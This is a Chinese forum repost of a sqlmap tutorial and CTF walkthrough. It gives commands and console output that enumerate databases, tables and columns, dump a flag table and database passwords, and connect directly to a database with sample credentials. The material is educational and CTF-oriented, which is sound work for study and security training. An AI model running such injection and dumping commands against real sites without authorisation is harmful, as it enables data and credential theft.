搜索

[22161] 2021-07-16_Sqlmap基础用法、CTF实战及请求参数设置详解

文档创建者：s7ckTeam
浏览次数：25
最后更新：2025-01-18
2021-07-16_Sqlmap基础用法、CTF实战及请求参数设置详解 S q l m a p 基 础 用 法 、 C T F 实 战 及 请 求 参 数 设 置 详 解 E a s t m o u n t   L e m o n S e c   2 0 2 1 - 0 7 - 1 6 话 不 多 说 ， 让 我 们 开 始 新 的 征 程 吧 ！ 您 的 点 赞 、 评 论 、 收 藏 将 是 对 我 最 大 的 支 持 ， 感 恩 安 全 路 上 一 路 前 行 ， 如 果 有 写 得 不 好 或 侵 权 的 地 方 ， 可 以 联 系 我 删 除 。 基 础 性 文 章 ， 希 望 对 您 有 所 帮 助 ， 作 者 目 的 是 与 安 全 人 共 同 进 步 ， 加 油 ~ 文 章 目 录 ： 文 章 目 录 ： 一 一 . S q l m a p 介 绍 介 绍 二 二 . S q l m a p 基 础 用 法 及 基 础 用 法 及 C T F 实 战 实 战 1 . 获 取 数 据 库 2 . 获 取 当 前 数 据 库 3 . 获 取 当 前 用 户 4 . 获 取 数 据 库 中 所 有 表 5 . 获 取 表 中 所 有 字 段 6 . 获 取 用 户 名 和 密 码 三 三 . S q l m a p 确 定 目 标 常 见 方 法 确 定 目 标 常 见 方 法 1 . S q l m a p 直 连 数 据 库 2 . S q l m a p   U R L 探 测 3 . S q l m a p 文 件 读 取 目 标 4 . S q l m a p   G o o g l e 批 量 扫 描 注 入 四 四 . S q l m a p 请 求 参 数 设 置 请 求 参 数 设 置 1 . S q l m a p 设 置 H T T P 方 法 2 . S q l m a p 设 置 P O S T 提 交 参 数 3 . S q l m a p 设 置 参 数 分 隔 符 4 . S q l m a p 设 置 C o o k i e 头 五 五 . 总 结 总 结 作 者 的 作 者 的 g i t h u b 资 源 ： 资 源 ： 逆 向 分 析 ： h t t p s : / / g i t h u b . c o m / e a s t m o u n t y x z / S y s t e m S e c u r i t y - R e v e r s e A n a l y s i s 网 络 安 全 ： h t t p s : / / g i t h u b . c o m / e a s t m o u n t y x z / N e t w o r k S e c u r i t y S e l f - s t u d y 声 明 ： 本 人 坚 决 反 对 利 用 教 学 方 法 进 行 犯 罪 的 行 为 ， 一 切 犯 罪 行 为 必 将 受 到 严 惩 ， 绿 色 网 络 需 要 我 们 共 同 维 护 ， 更 推 荐 大 家 了 解 它 们 背 后 的 原 理 ， 更 好 地 进 行 防 护 。 该 样 本 不 会 分 享 给 大 家 ， 分 析 工 具 会 分 享 。
一 一 . S q l m a p 介 绍 介 绍 S q l m a p 是 一 个 开 源 的 渗 透 测 试 工 具 ， 它 可 以 自 动 化 检 测 和 利 用 S Q L 注 入 缺 陷 以 及 接 管 数 据 库 服 务 器 的 过 程 。 它 配 备 了 一 个 强 大 的 检 测 引 擎 ， 由 P y t h o n 语 言 开 发 完 成 ， 通 过 外 部 连 接 访 问 数 据 库 底 层 文 件 系 统 和 操 作 系 统 ， 并 执 行 命 令 实 现 渗 透 。 许 多 适 合 于 终 极 渗 透 测 试 的 小 众 特 性 和 广 泛 的 开 发 ， 从 数 据 库 指 纹 、 从 数 据 库 获 取 数 据 到 访 问 底 层 文 件 系 统 和 通 过 带 外 连 接 在 操 作 系 统 上 执 行 命 令 。 S q l m a p 下 载 下 载 可 以 从 官 方 网 址 、 G i t h u b 或 P y t h o n 调 用 P I P 命 令 实 现 。 官 方 网 址 ： h t t p : / / s q l m a p . o r g / G i t h u b 下 载 ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / 由 于 S q l m a p 是 通 过 P y t h o n 语 言 开 发 完 成 ， 也 可 以 安 装 P y t h o n 环 境 ， 调 用 P y h o n 命 令 p i p   i n s t a l l   s q l m a p 安 装 。 建 议 大 家 在 官 方 网 站 下 载 类 似 S q l m a p 的 软 件 ， 否 则 不 知 道 是 否 有 后 门 ， 这 里 从 G i t h u b 下 载 如 下 图 所 示 。
打 开 C M D ， S q l m a p 直 接 在 P y t h o n 中 调 用 。 由 于 S q l m a p 使 用 P y t h o n （ 解 释 型 语 言 ） 编 写 ， 所 以 可 以 直 接 在 命 令 行 中 调 用 P y t h o n 解 释 器 运 行 S q l m a p . p y 。 如 下 图 所 示 ， 表 示 运 行 成 功 。 查 看 S q l m a p 版 本 命 令 如 下 ： 查 看 简 要 的 帮 助 信 息 ， 参 数 及 含 义 。 p y t h o n   s q l m a p . p y p y t h o n   s q l m a p . p y   - - v e r s i o n p y t h o n   s q l m a p . p y   - h
查 询 高 级 帮 助 信 息 。 更 推 荐 大 家 直 接 在 更 推 荐 大 家 直 接 在 K a l i 中 使 用 中 使 用 S q l m a p 。 。 二 二 . S q l m a p 基 础 用 法 及 实 战 基 础 用 法 及 实 战 S q l m a p 的 基 本 流 程 如 下 ： 找 注 入 点 并 检 测 ： s q l m a p   – u   “ 链 接 ” 列 库 显 示 数 据 库 ： s q l m a p   – u   “ 链 接 ”   - - d b s 列 表 显 示 表 ： s q l m a p   – u   “ 链 接 ”   – D   数 据 库   - - t a b l e s 列 字 段 显 示 表 中 字 段 ： s q l m a p   – u   “ 链 接 ”   – D   数 据 库   – T   表 名   - - c o l u m n s 显 示 字 段 内 容 ： s q l m a p   – u   “ 链 接 ”   – D   数 据 库   – T   表 名   – C   字 段   - - d u m p 作 者 这 里 以 “ 实 验 吧 ” 的 C T F 题 目 作 为 测 试 地 址 ， 希 望 读 者 一 定 结 合 这 个 例 子 进 行 尝 试 ， 熟 悉 S Q L M A P 的 基 本 用 法 。 测 试 地 址 如 下 ， 该 网 址 好 像 被 关 闭 ， 大 家 可 以 去 B U U C T F 找 相 关 题 目 练 练 手 。 h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 网 页 如 下 图 所 示 ， 我 们 需 要 通 过 S Q L 注 入 把 数 据 库 中 的 表 格 f l a g 值 获 取 出 来 。 p y t h o n   s q l m a p . p y   - h h
推 荐 大 家 自 己 去 尝 试 实 例 来 熟 悉 S Q L M A P 的 基 本 用 法 。 1 . 获 取 数 据 库 获 取 数 据 库 p y t h o n   s q l m a p . p y   - u " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 " - - d b s 运 行 结 果 如 下 图 所 示 ， 获 取 3 个 数 据 库 ， 其 中 – d b s 参 数 表 示 d a t a b a s e s 。 2 . 获 取 当 前 数 据 库 获 取 当 前 数 据 库 p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - - c u r r e n t - d b 运 行 结 果 如 下 图 所 示 ， 其 中 – c u r r e n t - d b 参 数 表 示 当 前 数 据 库 （ M y S Q L ） ， 输 出 结 果 ： w e b 1 。
对 应 内 容 如 下 所 示 ， L O G O 还 挺 好 看 的 。 3 . 获 取 当 前 用 户 获 取 当 前 用 户 p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - - c u r r e n t - u s e r 运 行 结 果 如 下 图 所 示 ， 获 取 当 前 数 据 库 用 户 ： w e b 1 @ l o c a l h o s t 。 C : U s e r s y x z D e s k t o p s q l m a p - m a s t e r > p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - - c u r r e n t - d b                 _ _ _               _ _ H _ _   _ _ _   _ _ _ [ " ] _ _ _ _ _   _ _ _   _ _ _     { 1 . 3 . 1 1 . 8 6 # d e v } | _   - |   .   [ , ]           |   . ' |   .   | | _ _ _ | _     [ ( ] _ | _ | _ | _ _ , |     _ |             | _ | V . . .               | _ |       h t t p : / / s q l m a p . o r g [ ! ]   l e g a l   d i s c l a i m e r :   U s a g e   o f   s q l m a p   f o r   a t t a c k i n g   t a r g e t s   w i t h o u t   p r i o r   m u t u a l   c o n s e n t   i s   i l l e g a l .   I t   i s   t h e   e n d   u s e r ' s   r e s p o n s i b i l i t y   t o   o b e y   a l l   a p p l i c a b l e   l o c a l ,   s t a t e   a n d   f e d e r a l   l a w s .   D e v e l o p e r s   a s s u m e   n o   l i a b i l i t y   a n d   a r e   n o t   r e s p o n s i b l e   f o r   a n y   m i s u s e   o r   d a m a g e   c a u s e d   b y   t h i s   p r o g r a m [ * ]   s t a r t i n g   @   1 1 : 2 7 : 3 2   / 2 0 1 9 - 1 1 - 2 1 / [ 1 1 : 2 7 : 3 2 ]   [ I N F O ]   r e s u m i n g   b a c k - e n d   D B M S   ' m y s q l ' [ 1 1 : 2 7 : 3 2 ]   [ I N F O ]   t e s t i n g   c o n n e c t i o n   t o   t h e   t a r g e t   U R L s q l m a p   r e s u m e d   t h e   f o l l o w i n g   i n j e c t i o n   p o i n t ( s )   f r o m   s t o r e d   s e s s i o n : - - - P a r a m e t e r :   i d   ( G E T )         T y p e :   b o o l e a n - b a s e d   b l i n d         T i t l e :   A N D   b o o l e a n - b a s e d   b l i n d   -   W H E R E   o r   H A V I N G   c l a u s e         P a y l o a d :   i d = 1 '   A N D   2 1 1 2 = 2 1 1 2   A N D   ' b t e m ' = ' b t e m - - - [ 1 1 : 2 7 : 3 3 ]   [ I N F O ]   t h e   b a c k - e n d   D B M S   i s   M y S Q L w e b   a p p l i c a t i o n   t e c h n o l o g y :   N g i n x   1 . 1 0 . 2 ,   P H P   5 . 5 . 3 8 b a c k - e n d   D B M S :   M y S Q L   5 [ 1 1 : 2 7 : 3 3 ]   [ I N F O ]   f e t c h i n g   c u r r e n t   d a t a b a s e [ 1 1 : 2 7 : 3 3 ]   [ W A R N I N G ]   r u n n i n g   i n   a   s i n g l e - t h r e a d   m o d e .   P l e a s e   c o n s i d e r   u s a g e   o f   o p t i o n   ' - - t h r e a d s '   f o r   f a s t e r   d a t a   r e t r i e v a l [ 1 1 : 2 7 : 3 3 ]   [ I N F O ]   r e t r i e v e d :   w e b 1 c u r r e n t   d a t a b a s e :   ' w e b 1 ' [ 1 1 : 2 7 : 3 5 ]   [ I N F O ]   f e t c h e d   d a t a   l o g g e d   t o   t e x t   f i l e s   u n d e r   ' C : U s e r s y x z A p p D a t a L o c a l s q l m a p o u t p u t c t f 5 . s h i y a n b a r . c o m ' [ * ]   e n d i n g   @   1 1 : 2 7 : 3 5   / 2 0 1 9 - 1 1 - 2 1 /
获 取 数 据 库 用 户 和 密 码 的 代 码 如 下 所 示 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - - p a s s w o r d s 4 . 获 取 数 据 库 中 所 有 表 获 取 数 据 库 中 所 有 表 p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - D   w e b 1   - - t a b l e s 运 行 结 果 如 下 图 所 示 ， 获 取 数 据 库 w e b 1 的 所 有 表 ， 其 中 - D 表 示 数 据 库 ， – t a b l e s 表 示 所 有 表 。 输 出 结 果 为 f l a g 和 w e b _ 1 两 张 表 。
5 . 获 取 表 中 所 有 字 段 获 取 表 中 所 有 字 段 p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - D   w e b 1   - T   w e b _ 1   - - c o l u m n s 输 出 结 果 如 下 图 所 示 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - D   w e b 1   - T   f l a g   - - c o l u m n s 输 出 结 果 如 下 图 所 示 ： 最 终 我 们 需 要 的 结 果 f l a g 在 这 个 表 里 。 D a t a b a s e :   w e b 1 T a b l e :   f l a g [ 3   c o l u m n s ] + - - - - - - - - + - - - - - - - - - - - - - + |   C o l u m n   |   T y p e                 | + - - - - - - - - + - - - - - - - - - - - - - + |   f l a g       |   n o n - n u m e r i c   | |   i d           |   n u m e r i c           | |   n a m e       |   n o n - n u m e r i c   | + - - - - - - - - + - - - - - - - - - - - - - +
6 . 获 取 用 户 名 和 密 码 获 取 用 户 名 和 密 码 p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - D   w e b 1   - T   f l a g   - C   " f l a g , i d , n a m e "   - - d u m p 获 取 的 结 果 如 下 图 所 示 ： 最 终 的 结 果 为 ： f l a g { Y 0 u _ @ r 3 _ 5 O _ d A m n _ 9 0 O d } 如 果 某 网 站 存 在 S Q L 注 入 漏 洞 ， 通 过 S Q L M A P 就 能 ： （ 1 ） 获 取 数 据 库 名 、 用 户 （ 2 ） 获 取 后 台 登 录 表 （ 3 ） 获 取 登 录 表 中 用 户 名 和 密 码 字 段 （ 4 ） 获 取 后 台 管 理 员 的 用 户 名 和 密 码 所 以 ， S Q L 注 入 、 X S S 注 入 、 弱 口 令 这 些 低 级 错 误 是 需 要 各 个 管 理 员 避 免 的 。 [ 1 1 : 5 6 : 5 9 ]   [ I N F O ]   r e t r i e v e d :   1 [ 1 1 : 5 6 : 5 9 ]   [ I N F O ]   r e t r i e v e d :   f l a g { Y 0 u _ @ r 3 _ 5 O _ d A m n _ 9 0 O d } [ 1 1 : 5 7 : 0 7 ]   [ I N F O ]   r e t r i e v e d :   2 [ 1 1 : 5 7 : 0 8 ]   [ I N F O ]   r e t r i e v e d :   b a l o t e l i D a t a b a s e :   w e b 1 T a b l e :   f l a g [ 1   e n t r y ] + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - + - - - - - - - - - - + |   f l a g                                               |   i d   |   n a m e           | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - + - - - - - - - - - - + |   f l a g { Y 0 u _ @ r 3 _ 5 O _ d A m n _ 9 0 O d }   |   2     |   b a l o t e l i   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - + - - - - - - - - - - +
三 三 . S q l m a p 确 定 目 标 常 见 方 法 确 定 目 标 常 见 方 法 1 . S q l m a p 直 连 数 据 库 直 连 数 据 库 S q l m a p 支 持 直 接 连 接 数 据 库 ， 通 过 以 下 命 令 来 直 连 。 服 务 型 数 据 库 （ 前 提 指 导 数 据 库 用 户 名 和 密 码 ） 服 务 型 数 据 库 （ 前 提 指 导 数 据 库 用 户 名 和 密 码 ） D B M S : / / U S E R : P A S S W O R D @ D B M S _ I P : D B M S _ P O R T / D A T A B A S E _ N A M E （ M y S Q L 、 O r a c l e 、 S Q L   S e r v e r 、 P o s t g r e S Q L ） 例 如 ： 获 取 b a n n e r 信 息 和 用 户 信 息 如 下 图 所 示 ： 文 件 型 数 据 库 （ 前 提 指 导 数 据 库 绝 对 路 径 ） 文 件 型 数 据 库 （ 前 提 指 导 数 据 库 绝 对 路 径 ） D B M S : / / D A T A B A S E _ F I L E P A T H （ S Q L i t e 、 M i c r o s o f t   A c c e s s 、 F i r e b i r d 、 e t c . ） 2 . S q l m a p   U R L 探 测 探 测 S q l m a p 直 接 对 单 一 U R L 探 测 ， 参 数 使 用 - u 或 - u r l ， U R L 格 式 ： h t t p ( s ) :   / / t a r g e t _ u r l [ : p o r t ] / [ … ] 还 是 以 C T F 目 标 为 例 ， 命 令 如 下 ： 输 出 结 果 如 下 图 所 示 ， 获 取 b a n n e r 信 息 ， 检 测 S Q L 注 入 和 X S S 注 入 。 p y t h o n   s q l m a p . p y   - d   " m y s q l : / / a d m i n : a d m i n @ 1 9 2 . 1 6 8 . 2 1 . 1 7 : 3 3 0 6 / t e s t d b "   - f   - - b a n n e r   - - d b s   - - u s e r s p y t h o n   s q l m a p . p y   - u   " h t t p : / / c t f 5 . s h i y a n b a r . c o m / w e b / i n d e x _ 3 . p h p ? i d = 1 "   - - b a n n e r
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理